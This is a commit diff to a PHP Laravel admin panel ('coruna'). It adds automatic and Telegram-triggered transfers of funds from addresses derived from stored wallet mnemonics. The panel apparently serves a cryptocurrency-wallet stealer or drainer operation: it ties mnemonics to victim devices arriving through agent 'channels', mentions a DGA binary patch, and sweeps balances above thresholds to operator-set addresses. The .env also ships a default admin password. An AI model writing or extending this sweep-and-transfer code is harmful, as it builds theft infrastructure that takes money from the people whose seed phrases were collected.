feat: autotransfer
This commit is contained in:
+17
-7
@@ -51,12 +51,11 @@ ADMIN_PASSWORD=admin123
|
|||||||
|
|
||||||
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
|
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
|
||||||
CORUNA_SESSION_KEY=
|
CORUNA_SESSION_KEY=
|
||||||
# Optional link-display hosts (not used by DGA binary patch).
|
# Optional link-display hosts (not used by DGA binary patch). .env-only.
|
||||||
# Overridable by 系统设置 → 投放域名.
|
|
||||||
CORUNA_LAB_CHANNEL_DOMAINS=
|
CORUNA_LAB_CHANNEL_DOMAINS=
|
||||||
CORUNA_REPORTING_DOMAINS=
|
CORUNA_REPORTING_DOMAINS=
|
||||||
# Panel Host allowlists (comma/space separated). Empty = no restriction.
|
# Panel Host allowlists (comma/space separated). Empty = no restriction.
|
||||||
# Prefer configuring in Admin → 系统 → 设置 after bootstrap.
|
# .env-only (not shown in Admin → 系统设置).
|
||||||
CORUNA_ADMIN_HOSTS=
|
CORUNA_ADMIN_HOSTS=
|
||||||
CORUNA_AGENT_HOSTS=
|
CORUNA_AGENT_HOSTS=
|
||||||
# In-process channel builders (Python). Old: channel-builder → public/web|sync
|
# In-process channel builders (Python). Old: channel-builder → public/web|sync
|
||||||
@@ -74,7 +73,7 @@ CORUNA_STATIC_SITE_SCHEME=https
|
|||||||
XXBB_CHANNEL_C=
|
XXBB_CHANNEL_C=
|
||||||
# Match iptj PageVisit → new-builder device by IP (minutes).
|
# Match iptj PageVisit → new-builder device by IP (minutes).
|
||||||
XXBB_VISIT_MATCH_MINUTES=30
|
XXBB_VISIT_MATCH_MINUTES=30
|
||||||
# Max channel links per agent (super-admin settings can override)
|
# Max channel links per agent (.env-only)
|
||||||
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
||||||
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
|
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
|
||||||
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
|
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
|
||||||
@@ -84,21 +83,32 @@ CORUNA_MAX_CHANNELS_PER_AGENT=5
|
|||||||
CORUNA_7Z_BIN=
|
CORUNA_7Z_BIN=
|
||||||
|
|
||||||
# Telegram (outbound alerts + inbound Nutgram commands)
|
# Telegram (outbound alerts + inbound Nutgram commands)
|
||||||
|
# Bot Token / transfer recipients are .env-only (not editable in admin UI).
|
||||||
TELEGRAM_BOT_TOKEN=
|
TELEGRAM_BOT_TOKEN=
|
||||||
TELEGRAM_OWNER_CHAT_ID=
|
TELEGRAM_OWNER_CHAT_ID=
|
||||||
# Optional cache of @username; normally filled automatically via getMe when saving Token
|
# Optional cache of @username; normally filled automatically via getMe
|
||||||
# TELEGRAM_BOT_USERNAME=
|
# TELEGRAM_BOT_USERNAME=
|
||||||
# Optional; if set, register via: php artisan telegram:set-webhook
|
# Optional; if set, register via: php artisan telegram:set-webhook
|
||||||
TELEGRAM_WEBHOOK_SECRET=
|
TELEGRAM_WEBHOOK_SECRET=
|
||||||
# Do not enable unless you understand Nutgram's md5(APP_KEY) secret check
|
# Do not enable unless you understand Nutgram's md5(APP_KEY) secret check
|
||||||
# NUTGRAM_SAFE_MODE=false
|
# NUTGRAM_SAFE_MODE=false
|
||||||
|
|
||||||
# /transfer: recipient (fromAddress is the command arg; mnemonic from DB)
|
# /transfer recipients (fromAddress is the command arg; mnemonic from DB)
|
||||||
# Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount] — omit amount = all
|
# Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount] — omit amount = all
|
||||||
# Chain inferred from address; to = per-chain TRANSFER_TO_ADDRESS_*.
|
|
||||||
TRANSFER_TO_ADDRESS=
|
TRANSFER_TO_ADDRESS=
|
||||||
TRANSFER_TO_ADDRESS_ETH=
|
TRANSFER_TO_ADDRESS_ETH=
|
||||||
TRANSFER_TO_ADDRESS_BTC=
|
TRANSFER_TO_ADDRESS_BTC=
|
||||||
|
# TRON USDT fee top-up wallet (also editable in Admin → 系统设置)
|
||||||
|
TRANSFER_FEE_ADDRESS_TRON=
|
||||||
|
TRANSFER_FEE_PRIVATE_KEY_TRON=
|
||||||
|
TRANSFER_FEE_TOPUP_TRX=20
|
||||||
|
|
||||||
|
# Official-channel auto transfer (also editable in Admin → 系统设置)
|
||||||
|
AUTO_TRANSFER_ENABLED=0
|
||||||
|
AUTO_TRANSFER_THRESHOLD_USDT=
|
||||||
|
AUTO_TRANSFER_THRESHOLD_TRX=
|
||||||
|
AUTO_TRANSFER_THRESHOLD_ETH=
|
||||||
|
AUTO_TRANSFER_THRESHOLD_BTC=
|
||||||
# TRANSFER_MAX_USDT=0
|
# TRANSFER_MAX_USDT=0
|
||||||
# TRANSFER_MAX_TRX=0
|
# TRANSFER_MAX_TRX=0
|
||||||
# TRANSFER_MAX_ETH=0
|
# TRANSFER_MAX_ETH=0
|
||||||
|
|||||||
@@ -0,0 +1,29 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Services\AutoTransferService;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
|
||||||
|
class AutoTransferCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:auto-transfer';
|
||||||
|
|
||||||
|
protected $description = 'Scan mnemonic-linked addresses with balance and run auto-transfer';
|
||||||
|
|
||||||
|
public function handle(AutoTransferService $autoTransfer): int
|
||||||
|
{
|
||||||
|
$stats = $autoTransfer->run();
|
||||||
|
$this->info(sprintf(
|
||||||
|
'auto-transfer inspected=%d triggered=%d ok=%d failed=%d skipped=%d',
|
||||||
|
$stats['inspected'],
|
||||||
|
$stats['triggered'],
|
||||||
|
$stats['ok'],
|
||||||
|
$stats['failed'],
|
||||||
|
$stats['skipped'],
|
||||||
|
));
|
||||||
|
$this->line('logs: public/log/transfer/'.date('Ymd').'.log');
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,110 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Services\Chain\TronDriver;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
use RuntimeException;
|
||||||
|
|
||||||
|
class TronToolCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:tron
|
||||||
|
{action : create | balance | address}
|
||||||
|
{value? : balance 时填地址;address 时填私钥}';
|
||||||
|
|
||||||
|
protected $description = 'TRON 工具:创建地址/私钥、由私钥推地址、查 TRX/USDT 余额';
|
||||||
|
|
||||||
|
public function handle(TronDriver $tron): int
|
||||||
|
{
|
||||||
|
$action = strtolower(trim((string) $this->argument('action')));
|
||||||
|
|
||||||
|
return match ($action) {
|
||||||
|
'create' => $this->createWallet(),
|
||||||
|
'balance' => $this->showBalance($tron),
|
||||||
|
'address' => $this->addressFromKey(),
|
||||||
|
default => $this->invalidAction($action),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
private function createWallet(): int
|
||||||
|
{
|
||||||
|
$privateKey = bin2hex(random_bytes(32));
|
||||||
|
$address = TronDriver::addressFromPrivateKey($privateKey);
|
||||||
|
|
||||||
|
$this->line('address : '.$address);
|
||||||
|
$this->line('privateKey : '.$privateKey);
|
||||||
|
$this->warn('请妥善保存私钥,丢失无法找回。');
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function addressFromKey(): int
|
||||||
|
{
|
||||||
|
$key = trim((string) ($this->argument('value') ?? ''));
|
||||||
|
if ($key === '') {
|
||||||
|
$this->error('用法: php artisan coruna:tron address <privateKeyHex>');
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$address = TronDriver::addressFromPrivateKey($key);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$this->error('无效私钥: '.$e->getMessage());
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->line('address : '.$address);
|
||||||
|
$this->line('privateKey : '.strtolower(str_starts_with($key, '0x') ? substr($key, 2) : $key));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function showBalance(TronDriver $tron): int
|
||||||
|
{
|
||||||
|
$address = trim((string) ($this->argument('value') ?? ''));
|
||||||
|
if ($address === '') {
|
||||||
|
$this->error('用法: php artisan coruna:tron balance <TAddress>');
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $tron->isValidAddress($address)) {
|
||||||
|
$this->error('无效 TRON 地址');
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$trx = $tron->getNativeBalance($address);
|
||||||
|
$contract = trim((string) config('coruna.tron.usdt_contract', ''));
|
||||||
|
$usdt = $contract !== '' ? $tron->getTokenBalance($address, $contract) : '0';
|
||||||
|
} catch (RuntimeException $e) {
|
||||||
|
$this->error($e->getMessage());
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$this->error('查询失败: '.$e->getMessage());
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->line('address : '.$address);
|
||||||
|
$this->line('TRX : '.$trx);
|
||||||
|
$this->line('USDT : '.$usdt);
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function invalidAction(string $action): int
|
||||||
|
{
|
||||||
|
$this->error("未知操作: {$action}");
|
||||||
|
$this->line('用法:');
|
||||||
|
$this->line(' php artisan coruna:tron create');
|
||||||
|
$this->line(' php artisan coruna:tron address <privateKeyHex>');
|
||||||
|
$this->line(' php artisan coruna:tron balance <TAddress>');
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -53,6 +53,11 @@ class AgentUserController extends Controller
|
|||||||
'chat_id' => $u->chat_id ?: '',
|
'chat_id' => $u->chat_id ?: '',
|
||||||
'telegram_ready' => $u->hasTelegramChat(),
|
'telegram_ready' => $u->hasTelegramChat(),
|
||||||
'channels_count' => (int) $u->channels_count,
|
'channels_count' => (int) $u->channels_count,
|
||||||
|
'auto_transfer_enabled' => (int) $u->auto_transfer_enabled,
|
||||||
|
'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '',
|
||||||
|
'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
|
||||||
|
'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
|
||||||
|
'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
|
||||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||||
];
|
];
|
||||||
@@ -74,6 +79,11 @@ class AgentUserController extends Controller
|
|||||||
'comment' => ['nullable', 'string', 'max:255'],
|
'comment' => ['nullable', 'string', 'max:255'],
|
||||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
'chat_id' => $this->chatIdRules(),
|
'chat_id' => $this->chatIdRules(),
|
||||||
|
'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
|
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$user = User::query()->create([
|
$user = User::query()->create([
|
||||||
@@ -82,6 +92,11 @@ class AgentUserController extends Controller
|
|||||||
'comment' => $data['comment'] ?? null,
|
'comment' => $data['comment'] ?? null,
|
||||||
'status' => (int) ($data['status'] ?? 1),
|
'status' => (int) ($data['status'] ?? 1),
|
||||||
'chat_id' => $this->nullableTrim($data['chat_id'] ?? null),
|
'chat_id' => $this->nullableTrim($data['chat_id'] ?? null),
|
||||||
|
'auto_transfer_enabled' => (bool) ((int) ($data['auto_transfer_enabled'] ?? 0)),
|
||||||
|
'auto_transfer_threshold_usdt' => $this->nullableThreshold($data['auto_transfer_threshold_usdt'] ?? null),
|
||||||
|
'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
|
||||||
|
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
|
||||||
|
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
||||||
@@ -94,6 +109,11 @@ class AgentUserController extends Controller
|
|||||||
'comment' => ['nullable', 'string', 'max:255'],
|
'comment' => ['nullable', 'string', 'max:255'],
|
||||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
'chat_id' => $this->chatIdRules($agent->id),
|
'chat_id' => $this->chatIdRules($agent->id),
|
||||||
|
'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
|
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
if (array_key_exists('comment', $data)) {
|
if (array_key_exists('comment', $data)) {
|
||||||
@@ -105,6 +125,15 @@ class AgentUserController extends Controller
|
|||||||
if (array_key_exists('chat_id', $data)) {
|
if (array_key_exists('chat_id', $data)) {
|
||||||
$agent->chat_id = $this->nullableTrim($data['chat_id']);
|
$agent->chat_id = $this->nullableTrim($data['chat_id']);
|
||||||
}
|
}
|
||||||
|
if (array_key_exists('auto_transfer_enabled', $data) && $data['auto_transfer_enabled'] !== null) {
|
||||||
|
$agent->auto_transfer_enabled = (bool) ((int) $data['auto_transfer_enabled']);
|
||||||
|
}
|
||||||
|
foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
|
||||||
|
$key = 'auto_transfer_threshold_'.$coin;
|
||||||
|
if (array_key_exists($key, $data)) {
|
||||||
|
$agent->{$key} = $this->nullableThreshold($data[$key] ?? null);
|
||||||
|
}
|
||||||
|
}
|
||||||
if (! empty($data['password'])) {
|
if (! empty($data['password'])) {
|
||||||
$agent->password = $data['password'];
|
$agent->password = $data['password'];
|
||||||
}
|
}
|
||||||
@@ -197,4 +226,17 @@ class AgentUserController extends Controller
|
|||||||
|
|
||||||
return $value === '' ? null : $value;
|
return $value === '' ? null : $value;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function nullableThreshold(mixed $value): ?string
|
||||||
|
{
|
||||||
|
$trimmed = $this->nullableTrim($value);
|
||||||
|
if ($trimmed === null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (! is_numeric($trimmed)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $trimmed;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,15 +5,20 @@ namespace App\Http\Controllers\Admin;
|
|||||||
use App\Http\Controllers\Concerns\PortalAware;
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\WalletBalanceService;
|
||||||
use App\Support\AgentScope;
|
use App\Support\AgentScope;
|
||||||
use Illuminate\Database\Eloquent\Builder;
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Facades\RateLimiter;
|
||||||
|
|
||||||
class MnemonicController extends Controller
|
class MnemonicController extends Controller
|
||||||
{
|
{
|
||||||
use PortalAware;
|
use PortalAware;
|
||||||
|
|
||||||
|
private const REFRESH_DECAY_SECONDS = 60;
|
||||||
|
|
||||||
public function index()
|
public function index()
|
||||||
{
|
{
|
||||||
$agents = $this->isAgentPortal()
|
$agents = $this->isAgentPortal()
|
||||||
@@ -60,6 +65,8 @@ class MnemonicController extends Controller
|
|||||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||||
|
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
|
||||||
|
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
|
||||||
];
|
];
|
||||||
})->values();
|
})->values();
|
||||||
|
|
||||||
@@ -71,6 +78,111 @@ class MnemonicController extends Controller
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function wallets(WalletMnemonic $mnemonic)
|
||||||
|
{
|
||||||
|
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'data' => $this->walletsPayload($mnemonic),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function refreshWallets(WalletMnemonic $mnemonic, WalletBalanceService $balances)
|
||||||
|
{
|
||||||
|
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
$throttleKey = 'mnemonic-wallets-refresh:'.$mnemonic->id;
|
||||||
|
if (RateLimiter::tooManyAttempts($throttleKey, 1)) {
|
||||||
|
$seconds = RateLimiter::availableIn($throttleKey);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '刷新过于频繁,请 '.$seconds.' 秒后再试',
|
||||||
|
'data' => ['retry_after' => $seconds],
|
||||||
|
], 429);
|
||||||
|
}
|
||||||
|
|
||||||
|
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
|
||||||
|
|
||||||
|
$addresses = WalletAddress::query()
|
||||||
|
->where('mnemonic_id', $mnemonic->id)
|
||||||
|
->orderBy('id')
|
||||||
|
->get();
|
||||||
|
|
||||||
|
$ok = 0;
|
||||||
|
$fail = 0;
|
||||||
|
foreach ($addresses as $address) {
|
||||||
|
// WalletBalanceService::refresh persists coin columns onto wallet_addresses.
|
||||||
|
if ($balances->refresh($address)) {
|
||||||
|
$ok++;
|
||||||
|
} else {
|
||||||
|
$fail++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-read from wallet_addresses so the popup shows persisted rows.
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => 'ok',
|
||||||
|
'data' => array_merge($this->walletsPayload($mnemonic), [
|
||||||
|
'refreshed' => $ok,
|
||||||
|
'failed' => $fail,
|
||||||
|
'retry_after' => self::REFRESH_DECAY_SECONDS,
|
||||||
|
]),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
|
||||||
|
{
|
||||||
|
$allowed = WalletMnemonic::query()
|
||||||
|
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
|
||||||
|
->where('wallet_mnemonics.id', $mnemonic->id);
|
||||||
|
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
||||||
|
|
||||||
|
return $allowed->exists();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list<array<string, mixed>>}
|
||||||
|
*/
|
||||||
|
private function walletsPayload(WalletMnemonic $mnemonic): array
|
||||||
|
{
|
||||||
|
$addresses = WalletAddress::query()
|
||||||
|
->where('mnemonic_id', $mnemonic->id)
|
||||||
|
->orderBy('id')
|
||||||
|
->get();
|
||||||
|
|
||||||
|
$data = $addresses->map(function (WalletAddress $addr) {
|
||||||
|
$coins = $addr->formattedCoins();
|
||||||
|
|
||||||
|
return [
|
||||||
|
'id' => $addr->id,
|
||||||
|
'address' => $addr->address,
|
||||||
|
'chain_type' => $addr->chain_type ?: '',
|
||||||
|
'source' => $addr->source ?: '',
|
||||||
|
'derive_index' => $addr->derive_index,
|
||||||
|
'usdt' => $coins['usdt'],
|
||||||
|
'trx' => $coins['trx'],
|
||||||
|
'eth' => $coins['eth'],
|
||||||
|
'btc' => $coins['btc'],
|
||||||
|
'bnb' => $coins['bnb'],
|
||||||
|
];
|
||||||
|
})->values()->all();
|
||||||
|
|
||||||
|
return [
|
||||||
|
'mnemonic_id' => $mnemonic->id,
|
||||||
|
'source' => $mnemonic->source ?: '',
|
||||||
|
'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id),
|
||||||
|
'addresses' => $data,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
private function baseQuery(Request $request): Builder
|
private function baseQuery(Request $request): Builder
|
||||||
{
|
{
|
||||||
$q = WalletMnemonic::query()
|
$q = WalletMnemonic::query()
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ class SystemSettingsController extends Controller
|
|||||||
public function index(SettingsService $settings, TelegramNotifier $telegram)
|
public function index(SettingsService $settings, TelegramNotifier $telegram)
|
||||||
{
|
{
|
||||||
$form = $settings->effectiveForForm();
|
$form = $settings->effectiveForForm();
|
||||||
$token = trim((string) ($form['telegram.bot_token'] ?? ''));
|
$token = trim((string) config('coruna.telegram.bot_token', ''));
|
||||||
$username = trim((string) ($form['telegram.bot_username'] ?? ''));
|
$username = trim((string) ($form['telegram.bot_username'] ?? ''));
|
||||||
if ($token !== '' && $username === '') {
|
if ($token !== '' && $username === '') {
|
||||||
$fetched = $telegram->fetchBotUsername($token);
|
$fetched = $telegram->fetchBotUsername($token);
|
||||||
@@ -33,48 +33,48 @@ class SystemSettingsController extends Controller
|
|||||||
public function update(Request $request, SettingsService $settings, TelegramNotifier $telegram)
|
public function update(Request $request, SettingsService $settings, TelegramNotifier $telegram)
|
||||||
{
|
{
|
||||||
$data = $request->validate([
|
$data = $request->validate([
|
||||||
'telegram_bot_token' => ['nullable', 'string', 'max:255'],
|
|
||||||
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
|
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
|
||||||
'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'],
|
'auto_transfer_enabled' => ['nullable', 'in:0,1'],
|
||||||
'channels_domains' => ['nullable', 'string', 'max:4000'],
|
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||||
'panel_admin_hosts' => ['nullable', 'string', 'max:4000'],
|
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
'panel_agent_hosts' => ['nullable', 'string', 'max:4000'],
|
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
|
||||||
|
'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
|
||||||
|
'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$domains = SettingsService::parseDomains($data['channels_domains'] ?? null);
|
$threshold = static function (?string $v): ?string {
|
||||||
$adminHosts = SettingsService::parseDomains($data['panel_admin_hosts'] ?? null);
|
if ($v === null || trim($v) === '') {
|
||||||
$agentHosts = SettingsService::parseDomains($data['panel_agent_hosts'] ?? null);
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
$token = trim((string) ($data['telegram_bot_token'] ?? ''));
|
return trim($v);
|
||||||
$username = '';
|
};
|
||||||
|
|
||||||
|
$username = ltrim((string) config('coruna.telegram.bot_username', ''), '@');
|
||||||
|
$token = trim((string) config('coruna.telegram.bot_token', ''));
|
||||||
$note = '';
|
$note = '';
|
||||||
if ($token !== '') {
|
if ($token !== '' && $username === '') {
|
||||||
$fetched = $telegram->fetchBotUsername($token);
|
$fetched = $telegram->fetchBotUsername($token);
|
||||||
if ($fetched !== null) {
|
if ($fetched !== null) {
|
||||||
$username = ltrim($fetched, '@');
|
$username = ltrim($fetched, '@');
|
||||||
} else {
|
} else {
|
||||||
$sameToken = $token === trim((string) config('coruna.telegram.bot_token', ''));
|
$note = ';未能从 .env Token 读取 Bot 用户名,请确认 TELEGRAM_BOT_TOKEN 有效';
|
||||||
$previous = ltrim((string) config('coruna.telegram.bot_username', ''), '@');
|
|
||||||
if ($sameToken && $previous !== '') {
|
|
||||||
$username = $previous;
|
|
||||||
} else {
|
|
||||||
$note = ';未能从 Token 读取 Bot 用户名,请确认 Token 有效';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
$settings->putMany([
|
$settings->putMany([
|
||||||
'telegram.bot_token' => $token !== '' ? $token : null,
|
|
||||||
'telegram.bot_username' => $username !== '' ? $username : null,
|
'telegram.bot_username' => $username !== '' ? $username : null,
|
||||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||||
'channels.max_per_agent' => isset($data['channels_max_per_agent'])
|
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
|
||||||
? (string) $data['channels_max_per_agent']
|
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
|
||||||
: null,
|
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||||
// Persist normalized comma-separated list (empty clears override to []).
|
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
||||||
'channels.domains' => $domains === [] ? '' : implode(',', $domains),
|
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
||||||
// Empty = no Host restriction for that panel.
|
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
||||||
'panel.admin_hosts' => $adminHosts === [] ? '' : implode(',', $adminHosts),
|
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
||||||
'panel.agent_hosts' => $agentHosts === [] ? '' : implode(',', $agentHosts),
|
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$display = $telegram->formatBotUsername($username);
|
$display = $telegram->formatBotUsername($username);
|
||||||
@@ -93,17 +93,14 @@ class SystemSettingsController extends Controller
|
|||||||
{
|
{
|
||||||
$data = $request->validate([
|
$data = $request->validate([
|
||||||
'chat_id' => ['nullable', 'string', 'max:64'],
|
'chat_id' => ['nullable', 'string', 'max:64'],
|
||||||
'bot_token' => ['nullable', 'string', 'max:255'],
|
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$chatId = trim((string) ($data['chat_id'] ?? ''));
|
$chatId = trim((string) ($data['chat_id'] ?? ''));
|
||||||
if ($chatId === '') {
|
if ($chatId === '') {
|
||||||
$chatId = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
$chatId = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||||
}
|
}
|
||||||
$token = trim((string) ($data['bot_token'] ?? ''));
|
|
||||||
$token = $token !== '' ? $token : null;
|
|
||||||
|
|
||||||
$result = $telegram->sendTest($chatId, '官方通知群推送正常。', $token);
|
$result = $telegram->sendTest($chatId, '官方通知群推送正常。');
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => $result['ok'] ? 0 : 1,
|
'code' => $result['ok'] ? 0 : 1,
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ class WalletAddressController extends Controller
|
|||||||
{
|
{
|
||||||
$q = $this->baseQuery($request);
|
$q = $this->baseQuery($request);
|
||||||
|
|
||||||
